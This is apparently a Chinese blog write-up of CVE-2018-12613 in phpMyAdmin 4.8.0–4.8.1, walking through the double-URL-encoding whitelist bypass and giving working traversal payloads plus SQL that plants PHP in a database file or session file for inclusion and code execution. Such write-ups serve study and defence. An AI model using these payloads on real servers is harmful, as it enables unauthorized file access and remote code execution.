mysql 多字节编码漏洞_phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞详情

范围 phpMyAdmin 4.8.0和4.8.1

原理 首先在index.php 50-63行代码

$target_blacklist = array (

'import.php', 'export.php'

);

// If we have a valid target, let's load that script instead

if (! empty($_REQUEST['target'])

&& is_string($_REQUEST['target'])

&& ! preg_match('/^index/', $_REQUEST['target'])

&& ! in_array($_REQUEST['target'], $target_blacklist)

&& Core::checkPageValidity($_REQUEST['target'])

) {

include $_REQUEST['target'];

exit;

}

满足5个条件后就会include$_REQUEST['target']的内容

$_REQUEST['target']不为空

$_REQUEST['target']是字符串

$_REQUEST['target']不以index开头

$_REQUEST['target']不在$target_blacklist中 'import.php', 'export.php'

Core::checkPageValidity($_REQUEST['target'])为真 代码在libraries\classes\Core.php 443-476行

public static function checkPageValidity(&$page, array $whitelist = [])

{

if (empty($whitelist)) {

$whitelist = self::$goto_whitelist;

}

if (! isset($page) || !is_string($page)) {

return false;

}

if (in_array($page, $whitelist)) {

return true;

}

$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

}

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist

public static $goto_whitelist = array(

'db_datadict.php',

'db_sql.php',

'db_events.php',

'db_export.php',

'db_importdocsql.php',

'db_multi_table_query.php',

'db_structure.php',

'db_import.php',

'db_operations.php',

'db_search.php',

'db_routines.php',

'export.php',

'import.php',

'index.php',

'pdf_pages.php',

'pdf_schema.php',

'server_binlog.php',

'server_collations.php',

'server_databases.php',

'server_engines.php',

'server_export.php',

'server_import.php',

'server_privileges.php',

'server_sql.php',

'server_status.php',

'server_status_advisor.php',

'server_status_monitor.php',

'server_status_queries.php',

'server_status_variables.php',

'server_variables.php',

'sql.php',

'tbl_addfield.php',

'tbl_change.php',

'tbl_create.php',

'tbl_import.php',

'tbl_indexes.php',

'tbl_sql.php',

'tbl_export.php',

'tbl_operations.php',

'tbl_structure.php',

'tbl_relation.php',

'tbl_replace.php',

'tbl_row_action.php',

'tbl_select.php',

'tbl_zoom_select.php',

'transformation_overview.php',

'transformation_wrapper.php',

'user_password.php',

);

如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况,所以有了下面的判断

$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int 查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true 但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件 例如传入 ?target=db_datadict.php%253f 由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

漏洞复现

任意文件包含

通过目录穿越包含任意文件 ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

dcba9c240a9f4288ad205d16572d888e.png

任意代码执行

包含数据库文件 先执行SQL语句查询一下数据库路径 show global variables like "%datadir%";

5833a730c28bc9ed583fe453cd717d9d.png 向数据库写入php代码

CREATE DATABASE rce;

use rce;

CREATE TABLE rce(code varchar(100));

INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

018e42820c1b42f23317e60b90b2cb11.png 然后包含该数据库文件 ?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD

200c1dd36cdc07d791d6fcf1914d6a04.png

包函session文件 session路径的视环境而定

2ff83754dd617071bb7ba99925f83407.png

e52d585a7f348ac39098c7ab0e43d24c.png

239eab77f7dd253272c166647d8b4c02.png

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/272814.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.Net开发的两个小技巧

一、符号的妙用1、可以作为保留关键字的标识符C#规范当中&#xff0c;不允许使用保留关键字&#xff08;class、bool等&#xff09;当作普通的标识符来命名&#xff0c;这时候符号作用就体现出来了&#xff0c;可以通过符号前缀把这些保留关键字可以当作普通的字符使用。比如&a…

Codeforces Round #FF (Div. 1) A. DZY Loves Sequences

原题链接&#xff1a;http://codeforces.com/problemset/problem/446/A 题意&#xff1a;给一个长度为n的序列&#xff0c;最多可以修改一个位置的数&#xff0c;求最长连续上升子序列。 题解&#xff1a;当a[i1] > a[i-1]2的时候&#xff0c;可以通过改变a[i]的值来使前后两…

25句张小娴经典爱情语录,句句穿心!

1、女人在床上流的眼泪&#xff0c;比在任何一个地方多。男人在床上说的谎话&#xff0c;也比在任何一个地方多。2、承诺本来就是男人与女人的一场角力&#xff0c;有时皆大欢喜&#xff0c;大部份的情况却两败俱伤。3、爱情正是一个将一对陌生人变成情侣&#xff0c;又将一对情…

mysql 数据库事务处理_Mysql事务处理问题 - mysql数据库栏目 - 自学php

今天和同学讨论起数据库事务处理的问题&#xff0c;感觉讨论中明白了一些&#xff0c;有些知识看过了&#xff0c;但是没有实际使用还是不理解。事务处理就是将一系列操作当做一个原子操作&#xff0c;要么全部执行成功&#xff0c;如果执行失败则保留执行期的状态。通过提交和…

[LeetCode] Palindrome Linked List

Given a singly linked list, determine if it is a palindrome. 一开始想用栈&#xff0c;但是试来试去发现写不出来遂放弃&#xff0c;后来想想再不济可以转换成数组然后分别两头扫&#xff0c;但是这样就用了O(n) 的空间&#xff0c;再进一步&#xff0c;可不可以在链表里模…

【原创】Ajax的用法总结

一、什么是AjaxAjax英文全称为“ Asynchr JavsScript and XML”&#xff08;异步的JavaScript和XML&#xff09;&#xff0c;是一种创建交互式网页的开发技术。二、Ajax技术的核心Ajax是一系列相关技术的融合&#xff0c;其核心包括XMLHttpRequest、JavsScript和DOM技术&#x…

gprs java_WISMO模块GPRS上网设置的过程

WISMO模块GPRS上网设置的过程一) AT指令设置部分(1) ATCGCLASS“B”置为“网络WISMO模块GPRS上网设置的过程一) AT指令设置部分(1) ATCGCLASS“B”置为“B”模式。(2) ATCGDCONT1&#xff0c;“IP”&#xff0c;“CMNET”设置APN。(3) ATCSQ 检查信号 若返回10—31&#xff0c…

loadrunner性能测试步骤

性能测试过程分为4个阶段&#xff1a;设计、构建、执行、分析/诊断/调节具体的工作流程如下图 设计  >  构建  >  执行   >  分析/诊断/调节 收集要求    设置测试环境 基准测试    诊断瓶颈 设计测试策略  记录测试脚本 性能测试     调…

Asp.Net生命周期的详解

一&#xff0e;Asp.Net页面生命周期的概念当我们在浏览器地址栏中输入网址&#xff0c;回车查看页面时&#xff0c;这时会向服务器端IIS&#xff09;发送一个request请求&#xff0c;服务器就会判断发送过来的请求页面&#xff0c;当完全识别 TTP页面处理程序类后&#xff0c;A…

java chain_java 8中 predicate chain的使用

java 8中 predicate chain的使用简介Predicate是一个FunctionalInterface&#xff0c;代表的方法需要输入一个参数&#xff0c;返回boolean类型。通常用在stream的filter中&#xff0c;表示是否满足过滤条件。boolean test(T t);基本使用我们先看下在stream的filter中怎么使用P…

前段技术学习计划

资料&#xff1a; 著作权归作者所有。 商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 作者&#xff1a;陈禹鲁 链接&#xff1a;http://www.zhihu.com/question/19809484/answer/35544452 来源&#xff1a;知乎 第一本&#xff0c;入门 《Head first HTML&…

指针的概念

在C语言中&#xff0c;内存单元的地址称为指针&#xff0c;专门用来存放地址的变量&#xff0c;有时对地址&#xff0c;指针和指针变量不区分&#xff0c;统称指针。&#xff08;地址指针&#xff09; 一般情况下&#xff0c;最前面的存储类型通常会省略 指针在说明的同时&…

整理一些提高C#编程性能的技巧

1、使用StringBuilder代替使用string 连接符 ""说明&#xff1a;String类对象是不可变的&#xff08;只读&#xff09;&#xff0c;一旦创建该对象&#xff0c;就不能修改该对象的值。对象String对象的重新赋值&#xff0c;本质上是重新创建了一个String对象并将新的…

python爬知识星球付费数据_用python爬取知识星球

去年我们做过一个叫「学长问答」的社群活动&#xff0c;里面沉淀了大量有价值的互动信息&#xff0c;后来因为各种原因终止了。今天和涂腾聊起来&#xff0c;觉得这些信息就这么沉寂了太浪费。所以就试着用python爬取了知识星球的内容。这个过程又学习了一些新的知识&#xff0…

HTML学习(1)

1、缩写和首字母缩写<abbr><acronym> <abbr title"etcetera">etc.</abbr> <acronym title"World Wide Web">WWW</acronym> 2、块引用&#xff08;短&#xff09; <p>A: <q>B</q>C</p> 显示结…

常用的7个SQl优化技巧

作为程序员经常和数据库打交道的时候还是非常频繁的&#xff0c;掌握住一些Sql的优化技巧还是非常有必要的。下面列出一些常用的SQl优化技巧&#xff0c;感兴趣的朋友可以了解一下。1、注意通配符中Like的使用以下写法会造成全表的扫描&#xff0c;例如&#xff1a;select id,n…

toolbar java_Java ToolBar.layout方法代码示例

import org.eclipse.swt.widgets.ToolBar; //导入方法依赖的package包/类protected ToolBar createToolbar() {final ToolBar t new ToolBar(composite, SWT.FLAT | SWT.LEFT | SWT.HORIZONTAL | SWT.WRAP);final GridData d new GridData(SWT.FILL, SWT.TOP, false, false);…

Visual Studio常用的快捷键整理

微软的开发工具Visual Studio作为DoNet开发者来说是必备神器&#xff0c;该开发工具内置了很多的开发快捷键&#xff0c;熟悉了这些开发快捷键&#xff0c;对于程序员来说事半功倍&#xff0c;所以在这里整理一下&#xff0c;版本是vs2012以上&#xff0c;目前小编列出了自己觉…

win7旗舰版6l打印机咋安驱动_在w7旗舰版上怎么安装HPlaserjet6L打印机?

您好&#xff0c;感谢您选择惠普产品。首先6L产品只有并口线&#xff0c;但是现在win 7 电脑基本都没有并口&#xff0c;有可能是您使用了转接usb设备&#xff0c;但是产品在出厂的时候会对产品作测试&#xff0c;测试的结果是不建议使用转接设备或者是延长设备&#xff0c;以免…

收集一些工作中常用的经典SQL语句

作为一枚程序员来说和数据库打交道是不可避免的&#xff0c;现收集一下工作中常用的SQL语句&#xff0c;希望能给大家带来一些帮助&#xff0c;当然可能不全面&#xff0c;欢迎补充&#xff01;1、执行插入语句&#xff0c;获取自动生成的递增的ID值INSERT INTO SysRole (RoleN…